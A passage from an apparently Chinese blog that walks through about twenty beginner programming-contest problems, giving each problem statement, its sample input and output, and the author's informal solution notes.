Y映射到9\nQ和Z没有映射。连接符不拨号，必要时可加上或去除。TUT-GLOP的标准格式是888-4567，310-GINO的标准格式是310-4466，3-10-10-10的标准格式是310-1010。\n当两个电话号码有相同的标准格式时是等价的（拨同样的号码）。\n你的公司正在编制本地企业的电话号码目录，作为质量控制的一部分，你需要检查没有两个（或多个）企业具有相同的电话号码。\n输入形式 输入包括一个案例。输入的第一行为一个正整数，指定目录中电话号码的数目 (最多100，000)。其余的各行列出目录中的电话号码，每个号码单独占一行。每个电话号码都是一个由十进制数字、大写字母(不包括Q和z) 和连字符组成的字符串。字符串中的七个字符或是数字或是字母。\n输出形式 对于出现超过一次的每个号码，按照标准格式每个输出一行，然后是空格，接着输出出现的次数。只出现1次的电话号码不输出。\n样例输入 复制代码 124873279ITS-EASY888-45673-10-10-10888-GLOPTUT-GLOP967-11-11310-GINOF101010888-1200-4-8-7-3-2-7-9-487-3279124873279ITS-EASY888-45673-10-10-10888-GLOPTUT-GLOP967-11-11310-GINOF101010888-1200-4-8-7-3-2-7-9-487-3279 样例输出 复制代码 310-1010 2487-3279 4888-4567 3310-1010 2487-3279 4888-4567 3 解题思路 将每个电话号码转换成int之后存储，sort一遍，然后加上横线再输出重复出现的电话号码和次数即可。\n3. 缺席考试的是谁？ 个人难度评级：2\n问题描述 程序设计考试结束了，传来个不好的消息：有一个学生没参加考试! 需要尽快知道缺席考试的人是谁，以便尽快做出处理。\n糟糕的是，尽管有签到表，但由于人数较多，签到情况比较混乱：有的签到表签在一张白纸上，有的虽然签在名册上，但并不是签在自己姓名旁，更有学生签到了别的签到表上……\n现在只能根据这2n-1个姓名（名册上有n个学生姓名，签到有n-1个姓名，签到姓名和名册姓名可能混在一起了），来找到缺席考试的人是谁。唯一一个有利的条件是所有参加考试的人都签了名，且只签一次，签名也都正确无误。\n现在任务交给你：编写一个程序，找出缺席考试的是谁。\n输入形式 有多组测试数据。\n每组测试数据开始一行，是一个正整数n，表示总人数，n=0意味着输入结束并且不需要处理。\n以下2n-1行，每行一个字符串，长度不超过20，表示一个人的姓名。姓名有大小写的英文字母、常用汉字组成 (注意每个汉字占2个字节，中英文姓名都不排除有重名情况)。\n40% 的测试数据1 ≤ n≤ 10；\n30% 的测试数据1 ≤ n≤ 100；\n20% 的测试数据1 ≤ n≤ 103；\n10% 的测试数据1 ≤ n≤ 104；\n提示：大量输入数据，C/C++ 输入推荐使用scanf函数\n输出形式 对于每组测试数据，输出一行，只包含一个字符串，表示缺席的人的姓名。\n样例输入 复制代码 2 张三 张三 李四 02 张三 张三 李四 0 样例输出 复制代码 李四李四 解题思路 这个题很蛋疼的两个地方是：\n不排除有重名的情况，所以不能简单地用bool存储是否签到2次； 签到姓名和名册姓名混在了一起，所以不能采取” 先存后删” 的策略。 但是有一点不会变：没来的人，他的名字出现次数是奇数（因为缺且仅缺了一次）。所以我建立一个pair\u0026lt;string,int\u0026gt; 数组，first存放姓名，second存放名字出现次数。直接读入2n-1行，统计每个名字出现次数，那么出现了奇数次的名字一定存在缺考情况。\n中文应该不需要特殊考虑。但如果你用getline函数读取名字，记得也要用getline吸收cin读取n后的回车！用getchar会WA掉。\n4. 电话号码 来源：CodeForces 898C\n个人难度评级：3\n问题描述 Vasya有几本电话簿，记录了他的朋友们的电话号码，每一个朋友都可以有一或几个电话号码。\nVasya决定整理关于朋友电话号码的信息。给定n个字符串，来自于Vasya的电话簿中的条目。每一条都以朋友的姓名开头，然后跟着当前条目中的电话号码个数，然后是本人的电话号码。有可能几个相同的电话被记录在同一个记录中。\nVasya还认为，如果电话号码a是电话号码b的后缀（也就是说，号码b以a结尾），这两个号码被当作同一个电话号码，那么a被认为是无城市代码，它不应该被考虑。\n输出整理后Vasya朋友的电话号码信息。有可能两个不同的人有相同的号码。如果一个人有两个电话号码x和y，x是y的后缀（即y以x结尾），则不输出x。 如果Vasya的电话簿中的某些朋友记录了几次，那么只需要记录一次。 输入形式 输入第一行一个整数n(1\u0026lt;=n\u0026lt;=20)，Vasya的电话簿上的条目数。\n以下n行后面是描述中的格式记录。 朋友的姓名中不包含空字符，长度不超过10位，由小写英文字母组成。电话号码个数在110之间。每个电话号码的长度范围在110之间，可以包含前导0。\n输出形式 输出Vasya的朋友的电话号码的有序信息。首先输出电话簿中的朋友数目m。\n接下来的m行，包含以格式 “姓名 电话号码个数 电话号码1 \u0026hellip; 电话号码k\u0026quot; 的条目，号码间以空格分隔。每个记录包含当前朋友的所有电话号码。\n每个条目输出按照姓名字母序进行排序，电话号码按照从小到大的顺序排列（注意电话号码比较规则：\u0026ldquo;1\u0026rdquo;\u0026lt;\u0026ldquo;01\u0026rdquo;、\u0026ldquo;12\u0026rdquo;\u0026lt;\u0026ldquo;012\u0026rdquo;，依此类推）\n样例输入 复制代码 4ivan 3 123 123 456ivan 2 456 456ivan 8 789 3 23 6 56 9 89 2dasha 2 23 7894ivan 3 123 123 456ivan 2 456 456ivan 8 789 3 23 6 56 9 89 2dasha 2 23 789 样例输出 复制代码 2dasha 2 23 789ivan 4 2 123 456 7892dasha 2 23 789ivan 4 2 123 456 789 解题思路 定义一个结构体，内含名字、此人的电话数目和一个电话号码数组（字符串类型）。\n注意人名有重复，同样的人名要加到一起去；电话号码有后缀情况，要逐个比对，可以考虑善用substr函数。\n然后是两层排序，人名和电话号码的排序。注意电话号码不能简单使用std::string重载运算符，短的电话号码被看作小的。\n注意所有（最多20）个人名实际上可以都是一个人，再加上每个人名条目都最多10个号码，要过CodeForces的样例，需要把电话号码的数组开大点，不过CG上的样例非常宽松。\n5. 点球大战 个人难度评级：1\n问题描述 在足球比赛中，有不少赛事，例如世界杯淘汰赛和欧洲冠军联赛淘汰赛中，当比赛双方经过正规比赛和加时赛之后仍然不分胜负时，需要进行点球大战来决定谁能够获得最终的胜利。点球大战的规则非常简单，两方轮流派出球员罚点球，每方各罚5个。当5轮点球结束以后如果仍然不分胜负，则进入一轮定胜负的阶段。两方各派一名球员罚点球，直到有一方罚进而另一方没有进为止。\n在北美职业冰球联赛中，也有点球大战。与足球的规则不同的是，它只先罚3轮点球，随后就进入一轮定胜负的阶段，而其他的规则完全一样。\n在本题中，输入将给出每次点球是否罚进，而你的任务则是输出一个 “比分板”。\n输入形式 输入包含多组数据。每组数据的第一行包含一个整数N(1\u0026lt;=N\u0026lt;=18)，表示双方总共罚了多少个点球，N=0表示输入结束。随后有N行，每行是一个如下形式的字符串：\nXXXX good：表示这个点球罚进\n或者XXXX no good：表示这个点球没有罚进\n其中XXXX表示球员名字（全部由字母和空格组成，保证不会出现歧义）\n每一行保证不超过100个字符。\nXXXX和good以及XXXX和no、no和good之间保证有且只有1个空格。\ngood、no good都是小写。本题是大小写相关的。\n数据不保证点球大战一定结束，也不保证在结束以后立即结束这组数据（即：不用判断点球大战是否结束，只用把罚进的点球往比分上加即可）。\n输出形式 对每组数据，输出一个比分板。一个点球如果罚进，则在对应的地方标上’O’，如果没有进则标上’X’。先罚球的队伍的信息在上面，后罚的在下面。最右边标上两队的比分。具体格式参考样例输出。注意如果一轮点球只罚了一个，则后面那个点球对应的地方写上’-’。\n样例输入 复制代码 6Riise goodBallack goodGerrard no goodLampard no goodFernando Torres goodMalouda good9Christiano Ronaldo no goodMessi no goodGiggs goodAbidal no goodCarrick goodRonaldinho goodRooney goodHenry no goodTevez good06Riise goodBallack goodGerrard no goodLampard no goodFernando Torres goodMalouda good9Christiano Ronaldo no goodMessi no goodGiggs goodAbidal no goodCarrick goodRonaldinho goodRooney goodHenry no goodTevez good0 样例输出 复制代码 1 2 3 ScoreO X O 2O X O 21 2 3 4 5 ScoreX O O O O 4X X O X - 11 2 3 ScoreO X O 2O X O 21 2 3 4 5 ScoreX O O O O 4X X O X - 1 解题思路 如果你知道了string的find函数，那么这个题非常简单，我觉得不需要说思路。\n6. 飞行棋 来源：HDU 2240（很可能无法访问）\n个人难度评级：2\n问题描述 大家当年一定都下过飞行棋吧。现在Lele和Yueyue要下的棋和这个很相似，只是更简单一点而已。\n棋盘由N个格子组成，分别标记为第0格到第N-1格。格子分为两种，一种是普通格子，即表示在该格可以停留。否则是特殊的格子，一旦走到上面，就要根据上面标记的数飞到相应的格子上。如果飞到一个特殊的格子上，则可以继续飞。\n除了第0格外，其他格子都只能容纳一个玩家。即一旦A玩家已经在某个格子上，B玩家又走到这里，A玩家则会被踢回第0格，而B玩家留在这个格子上面。\n第N-1个格子是终点，一旦一个玩家走到这个格子上，该玩家获胜，游戏结束。\n刚刚开始时，两个玩家都站在第0格上，依次扔骰子，根据骰子显示的点数走相应的格子数。比如，玩家在第0格，扔出了5点，则会走到第5个格子上。如果玩家走得超出了棋盘的范围，则要往回走一定的步数。比如，棋盘一共有7(0~6) 个格子, 玩家在第4格上，扔出了6点，最终他会走到第2格上 (4-\u0026gt;5-\u0026gt;6-\u0026gt;5-\u0026gt;4-\u0026gt;3-\u0026gt;2)。\n根据观察，骰子扔出来的数也是有规律的。\n对于每一盘棋，扔出的第一个点数为F0=(A*C+B)%6+1, 第二个点数为F1=(A*F0+B)%6+1, 第三个点数为F2=(A*F1+B)%6+1 \u0026hellip;. 依此类推。\n每一盘棋都是由Lele先走，现在就请你当裁判，看谁能获胜。\n输入形式 本题目包含多组测试，请处理到文件结束。\n每组数据占两行。\n第一行有4个整数N,A,B,C(含义见题目描述，6\u0026lt;N\u0026lt;200,0\u0026lt;=A,B,C\u0026lt;=2^31)。\n第二行有N个字符串，分别表示棋盘上第0个到第N-1个格子的内容。两个字符串之间用一个空格分隔开。\n如果字符串为 \u0026ldquo;N\u0026rdquo;, 则表示这个格子为普通格子。否则字符串为 \u0026ldquo;GX\u0026rdquo;(X为0到N-1之间的整数) 的形式，其中X表示玩家走到这个格子时，要马上飞到第X个格子。\n数据保证第0个和第N-1个格子一定为 \u0026ldquo;N\u0026rdquo;。\n输出形式 对于每组数据，在一行内输出结果。\n如果Lele能赢这盘棋，则输出 \u0026ldquo;Lele\u0026rdquo;, 如果Yueyue赢的话，就输出 \u0026ldquo;Yueyue\u0026rdquo;。\n样例输入 复制代码 7 1 0 6N G3 N N N N N7 1 0 6N G4 N N N N N7 1 0 6N G3 N N N N N7 1 0 6N G4 N N N N N 样例输出 复制代码 LeleYueyueLeleYueyue 样例说明 测试用例保证能有确定结果。\n解题思路 模拟就完事了，模拟每一步的走法即可。原题是有是否进行不完的判断的，如果有余力可以思考一下。\n7. 棋盘 问题描述 棋盘是指一个行和列编号从1~N的NxN的二进制矩阵，当行号和列号之和为偶数时该矩阵对应位置为黑色的 (1)，否则为白色的 (0)。以下图（没了）示为N=1、2、3时的棋盘。\n給出一个NxN的二进制矩阵，请找出位于该矩阵内的最大尺寸的完整棋盘，以及最大尺寸棋盘的数量（棋盘可以交叠）。\n输入形式 每个测试用例的第一行是一个正整数N(1\u0026lt;=N\u0026lt;=2000)，表示給定矩阵的行数和列数，接下来的N行描述了这个矩阵：每行有N个字符，既可以是 “1”（代表黑块），也可以是“0”（代表白块）。矩阵至少包含一个“1” 字符。\n输出形式 输出最大尺寸棋盘的行列的大小，以及最大棋盘的个数，以空格分隔。\n样例输入 复制代码 5001011101000101010101110150010111010001010101011101 样例输出 复制代码 3 33 3 解题思路 棋盘用bool二维数组存储即可，反正只有0和1两种值。\n枚举棋盘左上角起始点，不是黑的直接跳过。对于黑，先得出一个边长上限，就是起始点距离右边和下边的距离最小值。然后枚举边长，大可以先从2开始，毕竟起始点本身是黑的就一定是个棋盘。由于每次增加边长，相比上一个边长增加的只有最右边和最下边一条，所以在上个边长能够成立的情况下，只需要检查新增加的两条边是否合理即可；相反，不能成立的话，直接break即可，边长小的都不成立那大的更不行了。\n验证颜色是否正确的时候，需要注意 “当行号和列号之和为偶数时 “中求和时，以 ** 验证中的棋盘起始点 ** 作为原点，而真正使用的坐标是以 ** 整个大棋盘的 (0,0)** 作为原点。看不懂的话，建议直接去翻我代码……\n8 .Engine 来源：HDU 2532（若无法访问，可以看 Vjudge）\n个人难度评级：3\n问题描述 谷歌、百度等搜索引擎已经成为了互连网中不可或缺的一部分。在本题中，你的任务也是设计一个搜索论文的搜索引擎，当然，本题的要求比起实际的需求要少了许多。\n本题的输入将首先给出一系列的论文，对于每篇论文首先给出标题，然后给出它被引用的次数。然后会有一系列的搜索询问，询问标题中包含特定关键词的论文有哪些。\n每一个询问可能包含多个关键词，你需要找出标题包含所有关键词的论文。\n“包含” 必须是标题中有一个词正好是给定的关键词，不区分大小写。\n对每个询问，都按被引用的次数从多到少输出满足条件的论文的标题。如果有被引用的次数相同的论文，则按照论文在输入中的顺序排列，先给出的论文排在前面。\n输入形式 输入包含多组数据。\n每组数据首先有一行包含一个整数N(1\u0026lt;=N\u0026lt;=1000)，表示论文的数目，N=0表示输入结束。每组论文的信息第一行是论文的标题，由字母（大小写均可）和空格组成，不超过10个词，每个词不超过20个字符，标题总共不超过250个字符。第二行是一个整数K(0\u0026lt;=K\u0026lt;=108)，表示它被引用的次数。在论文信息结束以后，有一行包含一个整数M(1\u0026lt;=M\u0026lt;=100)，表示询问的数目。接下来有M行，每行是一个询问，由L(1\u0026lt;=L\u0026lt;=10) 个空格分开的词构成，每个词不超过20个字符。\n输出形式 对每个询问，按照题目给定的顺序输出满足条件的论文的标题；如果没有满足条件的论文，就不输出。在每组询问的输出之后输出一行 “***”，在每组数据的输出之后输出一行 “\u0026mdash;”。\n样例输入1 复制代码 6Finding the Shortest Path120Finding the k Shortest Path80Find Augmenting Path in General Graph80Matching in Bipartite Graph200Finding kth Shortest Path50Graph Theory and its Applications406shortest pathk shortest pathgraphpathfindapplication06Finding the Shortest Path120Finding the k Shortest Path80Find Augmenting Path in General Graph80Matching in Bipartite Graph200Finding kth Shortest Path50Graph Theory and its Applications406shortest pathk shortest pathgraphpathfindapplication0 样例输出1 复制代码 Finding the Shortest Path Finding the k Shortest Path Finding kth Shortest Path *** Finding the k Shortest Path *** Matching in Bipartite Graph Find Augmenting Path in General Graph Graph Theory and its Applications *** Finding the Shortest Path Finding the k Shortest Path Find Augmenting Path in General Graph Finding kth Shortest Path *** Find Augmenting Path in General Graph *** *** ---Finding the Shortest Path Finding the k Shortest Path Finding kth Shortest Path *** Finding the k Shortest Path *** Matching in Bipartite Graph Find Augmenting Path in General Graph Graph Theory and its Applications *** Finding the Shortest Path Finding the k Shortest Path Find Augmenting Path in General Graph Finding kth Shortest Path *** Find Augmenting Path in General Graph *** *** --- 样例输入2 复制代码 1 Finding the Shortest Path 120 2 Path Pat 01 Finding the Shortest Path 120 2 Path Pat 0 样例输出2 复制代码 Finding the Shortest Path *** *** ---Finding the Shortest Path *** *** --- 解题思路 首先要说明的是，样例2原题里是没有的，而个人认为中间的空行是多余的，删掉之后才能得到期望输出。\n这题就是个大模拟，思路其实不是很难找，但是要写好还是很费精力和时间的。\n我定义了一个paper类，包含名字、关键词数组、关键词个数和引用次数，还包含一个成员函数，负责将名字转换成关键字。所有的这些都是public。分隔符是空格，那么使用字符串流来转换很方便，只需要调用自行实现的全部转小写的函数将名字转换后推入流，再一个个推出即可。\n比对关键字的时候，查找的关键字要全部在某一文献的关键字列表里，才能算找到了合适的结果，不能够使用string的find() 成员函数查找子串。\n将论文全部输入之后直接使用stable_sort和自定义比较函数排序，就不需要找到符合条件的论文之后存储起来再排序了。\n此题数据特别多，要格外注意各数据的初始化问题！\n9. 字符串压缩 来源：Codeforces 1120C\n个人难度评级：6\n问题描述 给定一个由n个小写字母组成的字符串s，需要使用最少数量的钱币来压缩它。\n压缩该字符串，必须将s表示为多个相互连接的非空字符串: s=t1t2\u0026hellip;tk，其中第i个字符串按照下列两种方法之一编码：\n如果 | ti|=1，也就是说 ti为单个字符组成的字符串，编码时需要支付a个钱币 如果ti是t1t2\u0026hellip;ti-1的子串，编码时需要支付b个钱币 你的任务是计算压缩给定的字符串需要花费的最小钱币数。\n输入形式 输入的第一行包含3个用空格分隔的正整数：n、a和b(1≤n、a、b≤5000)，第二行为一个长度为n的小写字符串。\n输出形式 输出一个整数，表示你需要为压缩s所需要支付的最小钱币数。\n样例输入1 复制代码 3 3 1 aba3 3 1 aba 样例输出1 复制代码 77 样例输入2 复制代码 4 1 1 abcd4 1 1 abcd 样例输出2 复制代码 44 样例输入3 复制代码 4 10 1 aaaa4 10 1 aaaa 样例输出3 复制代码 1212 解题思路 不会，DP题谁会做谁做去。\n10. 拼写检查 来源：POJ 1035\n个人难度评级：2\n问题描述 作为一个新的拼写检查程序开发团队的成员，您将编写一个模块，用已知的所有形式正确的词典来检查给定单词的正确性。\n如果字典中没有这个词，那么可以用下列操作中的一个来替换正确的单词（从字典中）：\n1. 从单词中删除一个字母；\n2. 用一个任意字母替换单词中的一个字母；\n3. 在单词中插入一个任意字母。\n你的任务是编写一个程序，为每个给定的单词找到字典中所有可能的替换。\n输入形式 输入的第一部分包含所有字典中的词，每个单词占用一行，以一个单一字符 “#” 作为结束。所有单词都不相同，字典中至多1000个单词。\n接下来的部分包含所有需要进行检查的单词，同样每个单词占用一行。这部分也以一个单一字符 “#” 作为结束。至多有50个单词需要检查。\n在输入中所有的单词（字典中的和需要检查的）都仅由小写字母组成，每个最多包含15个字符。\n输出形式 对于每个在输入中出现的单词，按照它们在输入的第二部分出现的顺序输出一行。如果该单词是正确的（也就是说它包含在字典中）则输出信息：“is correct”；如果该单词不正确，则首先输出该单词，然后输入符号 \u0026lsquo;:\u0026rsquo;（冒号），之后空一格，写出它所有可能的替代，以空格分隔。这些替代的单词按照它们在字典中（输入的第一部分）出现的顺序写出。如果没有可替代的单词，则在冒号后面直接输出换行。\n样例输入 复制代码 iishashavebemymorecontestmetooifaward#meawaremcontesthavooorifimre#iishashavebemymorecontestmetooifaward#meawaremcontesthavooorifimre# 样例输出 复制代码 me is correctaware: awardm: i my mecontest is correcthav: has haveoo: tooor:i is correctfi: imre: more meme is correctaware: awardm: i my mecontest is correcthav: has haveoo: tooor:i is correctfi: imre: more me 解题思路 先把字典中的词语存到数组里，然后再逐个询问比对即可。难点在于删除和增加字母的检查。增删字母的判断函数可以共用，只需将函数的两个参数对调即可。修改的要求是长度相同，而增删的长度差只能为1。\n11. 最小的k个数 个人难度评级：1\n问题描述 输入n个整数，找出其中最小的k（k\u0026lt;=n）个不同数。例如输入4,5,1,6,1,7,3,8这8个数字，则最小的4个数字是1,3,4,5。\n输入形式 每个测试案例包括2行：\n第一行为2个整数n，k(1\u0026lt;=n，k\u0026lt;=200000)，表示数组的长度。\n第二行包含n个整数，表示这n个数，数组中的数的范围是 [0,1000 000 000]。\n输出形式 对应每个测试案例，输出最小的k个数，并按从小到大顺序打印 (如果不存在k个不同的数，则按照实际数量进行输出)。\n样例输入 复制代码 8 4 4 5 1 6 2 7 3 88 4 4 5 1 6 2 7 3 8 样例输出 复制代码 1 2 3 41 2 3 4 训练提示 1、数的范围从0到1000000000，使用数组记录那些数出现过就不是太合适\n2、需要去除重复的数，需要从小到大排序 \u0026mdash;-set就是一个不错的选择\n解题思路 没必要专门去重，更没必要用什么set，直接存数组sort一遍过。只需要检查上一个数是否与要输出的数相等，相等即跳过，就顺便完成了去重。\n12. 绩点计算 个人难度评级：1\n问题描述 学校对本科生的成绩施行绩点制（GPA）。将学生的实际考分根据不同学科的不同学分按一定的公式进行计算。规定如下：\n实际成绩 绩点\n90-100 4.0\n85-89 3.7\n82-84 3.3\n78-81 3.0\n75-77 2.7\n72-74 2.3\n68-71 2.0\n64-67 1.5\n60-63 1.0\n60以下 0\n1. 一门课程的学分绩点 = 该课绩点 * 该课学分\n2. 总评绩点 = 所有学科绩点之和 / 所有课程学分之和\n现要求你编程求出某人的总评绩点 (GPA)\n输入形式 第一行 总的课程数n\n第二行 相应课程的学分（两个学分间用空格隔开）\n第三行 对应课程的实际得分\n此处输入的所有数字均为整数\n输出形式 输出有一行，总评绩点，保留两位小数\n样例输入 复制代码 5 4 3 4 2 3 91 88 72 69 565 4 3 4 2 3 91 88 72 69 56 样例输出 复制代码 2.522.52 解题思路 不讲了，太简单。\n要是得绩点也能像这道题这么简单就好了。\n13. xxx定律 个人难度评级：1\n问题描述 对于一个正整数n，如果是偶数，就把n砍掉一半；如果是奇数，把n变成3*n+ 1后砍掉一半，直到该数变为1为止。\n请计算需要经过几步才能将n变到1，具体可见样例。\n输入形式 测试包含多个用例，每个用例包含一个整数n, 当n为0时表示输入结束。（1\u0026lt;=n\u0026lt;=10000）\n输出形式 对于每组测试用例请输出一个数，表示需要经过的步数, 每组输出占一行。\n样例输入 复制代码 3 2 03 2 0 样例输出 复制代码 5 15 1 解题思路 太水了…… 这题我连打表都懒得打。\n14. 数的距离差 个人难度评级：1\n问题描述 给定一组正整数，其中最大值和最小值分别为Max和Min, 其中一个数x到Max和Min的距离差定义为：\n$ | | x-Max | -(x-Min) | $\n其中abs() 为求一个数的绝对值\n输入形式 包括两行，第一行一个数n，表示第二行有n个正整数\n输出形式 输出一个数x，该数在所有n个数中的距离差最小；如果有两个数的距离差都是最小，输出较小的哪个\n样例输入1 复制代码 5 3 1 7 5 95 3 1 7 5 9 样例输出1 复制代码 55 样例输入2 复制代码 3 1 3 23 1 3 2 样例输出2 复制代码 22 解题思路 没啥难的，录进来sort一遍，逐个算距离差再比较即可。\n有一个不成熟的猜想：距离差最小的，并不是中位数，而是与绝对值相差最小的数。\n15. 亲和数 来源：HDU 2040（无法访问请看 Vjudge 或者Wayback Machine）\n个人难度评级：1\n问题描述 古希腊数学家毕达哥拉斯在自然数研究中发现，220的所有真约数 (即不是自身的约数) 之和为： $ 1+2+4+5+10+11+20+22+44+55+110＝284 $\n而284的所有真约数为1、2、4、71、142，加起来恰好为220。人们对这样的数感到很惊奇，并称之为亲和数。一般地讲，如果两个数中任何一个数都是另一个数的真约数之和，则这两个数就是亲和数。\n你的任务就编写一个程序，判断给定的两个数是否是亲和数。\n输入形式 输入若干行数据（大于0），每行一个实例, 包含两个整数A,B； 其中0 \u0026lt;= A,B \u0026lt;= 600000 ;\n输出形式 对于每个测试实例，如果A和B是亲和数的话输出YES，否则输出NO\n样例输入 复制代码 220 284 100 200220 284 100 200 样例输出 复制代码 YES NOYES NO 解题思路 没啥难的，不说了\n16. 金币 来源：NOIP 2015 普及组第一题（数据已加强）（卧槽竟然是NOIP的题…… 要不是当年我做过我还真想不到）\n个人难度评级：2\n问题描述 国王为他的忠诚的骑士支付金币。在他服役的第一天，骑士收到一枚金币。在接下来2天（第二天和第三天的服务），骑士每天收到2金币。在未来三天（第五，第四，和第六天的服务），骑士每天收到三金币。在未来四天（第七，第八，第九，和第十天的服务），骑士每天收到四金币。这一模式的付款方式将继续下去：在接下来的n天骑士每天将收到n枚金币，而在接接下来的n+1天每天将收到n+1枚金币，这里n是正整数。你的程序将确定在任何给定的天数（从第1天开始）支付给骑士的金币总数。\n输入形式 输入包含至少一行，但不超过21行。输入的每一行包含一个测试案例的数据，即一个整数（1~10000），代表天数。\n输出形式 每一行输出对应一个测试用例，由天数和支付给骑士的金币总数量组成，中间用空格分隔。\n样例输入 复制代码 10 6 10000 1000 21 2210 6 10000 1000 21 22 样例输出 复制代码 10 30 6 14 10000 942820 1000 29820 21 91 22 9810 30 6 14 10000 942820 1000 29820 21 91 22 98 解题思路 就是个模拟题，按照题意模拟下去即可，不需要花里胡哨的方法即可解决。\n17. 小A的计算器 个人难度评级：1\n问题描述 以往的操作系统内部的数据表示都是二进制方式，小A新写了一个操作系统，系统内部的数据表示为26进制，其中0-25分别由a-z表示。\n现在小A要在这个操作系统上实现一个计算器，这个计算器要能实现26进制数的加法运算。你能帮小A实现这个计算器吗？\n输入形式 输入的第一行包括一个整数N(1\u0026lt;=N\u0026lt;=100)。\n接下来的N行每行包括两个26进制数x和y，它们之间用空格隔开，每个数的位数最多为10位, 我们可以保证相加的结果的位数最多也是10位。每个数会用小A所设计的操作系统中的表示方法来表示，如：bsadfasdf。即每个数的各个位均由26个小写字母a-z中的一个来表示。\n输出形式 输出x和y相加后的结果，结果也要用题目中描述的26进制数来表示。\n样例输入 复制代码 4 ba cd c b b c ba c4 ba cd c b b c ba c 样例输出 复制代码 dd d d bcdd d d bc 解题思路 高精度加法 + 进制转换。\n先用string输入，然后将 ** 每一位 ** 转换为十进制数之后倒序导入vector存储。位数不足的记得补0。设置一个进位的临时数组，然后按照竖式计算方法计算，之后再转换回26进制倒序导入string输出。\n18. 小丑排序 来源：ACM/ICPC 2004（贝勒大学原题面存档）\n个人难度评级：1\n问题描述 你在信天翁马戏团（是的，它是由一群小丑组成）从事管理工作，你刚刚写完一个程序的输出是将他们的姓名按长度为非递减的方式排列，名称列表（使每名至少只要它之前的）。然而，你的老板不喜欢这种输出方式，而是希望输出出现更对称，较短的字符串在顶部和底部，而较长的字符串在中间。他的规则是，每一对名称都是在该列表的相对的两端，并且在该组中的第一个名字总是在列表的顶部。比如在下面的第一个例子中，Bo和Pat是第一对，Jean和Kevin是第二对，等等。\n输入形式 输入由1到多个字符串集合组成，最后一行为0表示输入结束，每个集合开始于一个整数n，表示该集合字符串的个数，接下来n行由n个字符串按长度非递减的方式排列，每个集合至少包含一个但不超过15个字符串，每个字符串不超过25个字符。\n输出形式 对于每个集合，第一行输出 \u0026ldquo;set-n\u0026rdquo;, n从1开始，接下来的若干行对应输入每个集合重新排列的结果，如样例所示。\n样例输入 复制代码 7 Bo Pat Jean Kevin Claude William Marybeth 6 Jim Ben Zoe Joey Frederick Annabelle 5 John Bill Fran Stan Cece 07 Bo Pat Jean Kevin Claude William Marybeth 6 Jim Ben Zoe Joey Frederick Annabelle 5 John Bill Fran Stan Cece 0 样例输出 复制代码 set-1 Bo Jean Claude Marybeth William Kevin Pat set-2 Jim Zoe Frederick Annabelle Joey Ben set-3 John Fran Cece Stan Billset-1 Bo Jean Claude Marybeth William Kevin Pat set-2 Jim Zoe Frederick Annabelle Joey Ben set-3 John Fran Cece Stan Bill 解题思路 看不懂题面？哦上帝，这该死的翻译，我真想用隔壁约翰叔叔的靴子狠狠踢他的屁股！说真的，这直译还不如看英文原版。\n这不是排序题，题目顺序已经排好了！只要隔一个压一个栈，剩下的原样输出即可。\n19. 数圈 个人难度评级：1\n问题描述 以1为中心，用2,3,4, \u0026hellip;, n, \u0026hellip;, n*n的数字围绕着中心输出数圈， 如若n=4，则\n7 8 9 10\n6 1 2 11\n5 4 3 12\n16 15 14 13\n输入形式 一个整数n(1\u0026lt;=n\u0026lt;=10)\n输出形式 数圈矩阵\n样例输入 复制代码 55 样例输出 复制代码 21 22 23 24 25 20 7 8 9 10 19 6 1 2 11 18 5 4 3 12 17 16 15 14 1321 22 23 24 25 20 7 8 9 10 19 6 1 2 11 18 5 4 3 12 17 16 15 14 13 解题思路 打表专用题，这题打表不光评测的时候输出快，而且写代码也又快又省力，我觉得打表才是这题的正解（逃）。\n每个n对应的圈，实际上都可以看作n=10的子圈，所以把n=10的情况打成表如下，然后再记录每个n要把哪一块切下来输出即可。附上完整数表：\n复制代码 int numCircle[10][10] = { {73, 74, 75, 76, 77, 78, 79, 80, 81, 82}, {72, 43, 44, 45, 46, 47, 48, 49, 50, 83}, {71, 42, 21, 22, 23, 24, 25, 26, 51, 84}, {70, 41, 20, 7, 8, 9, 10, 27, 52, 85}, {69, 40, 19, 6, 1, 2, 11, 28, 53, 86}, {68, 39, 18, 5, 4, 3, 12, 29, 54, 87}, {67, 38, 17, 16, 15, 14, 13, 30, 55, 88}, {66, 37, 36, 35, 34, 33, 32, 31, 56, 89}, {65, 64, 63, 62, 61, 60, 59, 58, 57, 90}, {100, 99, 98, 97, 96, 95, 94, 93, 92, 91}};int numCircle[10][10] = { {73, 74, 75, 76, 77, 78, 79, 80, 81, 82}, {72, 43, 44, 45, 46, 47, 48, 49, 50, 83}, {71, 42, 21, 22, 23, 24, 25, 26, 51, 84}, {70, 41, 20, 7, 8, 9, 10, 27, 52, 85}, {69, 40, 19, 6, 1, 2, 11, 28, 53, 86}, {68, 39, 18, 5, 4, 3, 12, 29, 54, 87}, {67, 38, 17, 16, 15, 14, 13, 30, 55, 88}, {66, 37, 36, 35, 34, 33, 32, 31, 56, 89}, {65, 64, 63, 62, 61, 60, 59, 58, 57, 90}, {100, 99, 98, 97, 96, 95, 94, 93, 92, 91}}; 20. 锤子剪刀布 个人难度评级：1\n问题描述 大家应该都会玩 “锤子剪刀布” 的游戏。现给出两人的交锋记录，请统计双方的胜、平、负次数，并且给出双方分别出什么手势的胜算最大。\n输入形式 输入第1行给出正整数N（\u0026lt;=105），即双方交锋的次数。随后N行，每行给出一次交锋的信息，即甲、乙双方同时给出的的手势。C代表 “锤子”、J代表 “剪刀”、B代表 “布”，第1个字母代表甲方，第2个代表乙方，中间有1个空格。\n输出形式 输出第1、2行分别给出甲、乙的胜、平、负次数，数字间以1个空格分隔。第3行给出两个字母，分别代表甲、乙获胜次数最多的手势，中间有1个空格。如果解不唯一，则输出按字母序最小的解。\n样例输入 复制代码 10 C J J B C B B B B C C C C B J B B C J J10 C J J B C B B B B C C C C B J B B C J J 样例输出 复制代码 5 3 2 2 3 5 B B5 3 2 2 3 5 B B 解题思路 这种水题挺讨厌的，完全没难度，但很占用时间（我写了1.7KiB，有这时间干啥不好？）。\n21. 新型冠状病毒（COVID19）传播 个人难度评级：4\n问题描述 在以习近平同志为核心的党中央的正确领导下，我国新冠疫情得到了有效控制。防控新冠病毒，必须时刻引起大家的足够重视，特别是人员集中活动场所，保持好社交距离。\n然而，在大洋彼岸的 $M$ 国，人们对COVID19并未引起足够重视，他们的领导人川建国同志甚至对居家隔离、戴口罩以及保持社交距离等措施非常不屑，该国疫情已经完全失控。\n在一个风景秀丽的小镇，一天早上，有 $N$ 名晨跑爱好者（编号 $1-N$）沿着优雅的江边景观道朝同一方向进行晨跑，第 $i$ 名跑者从位置 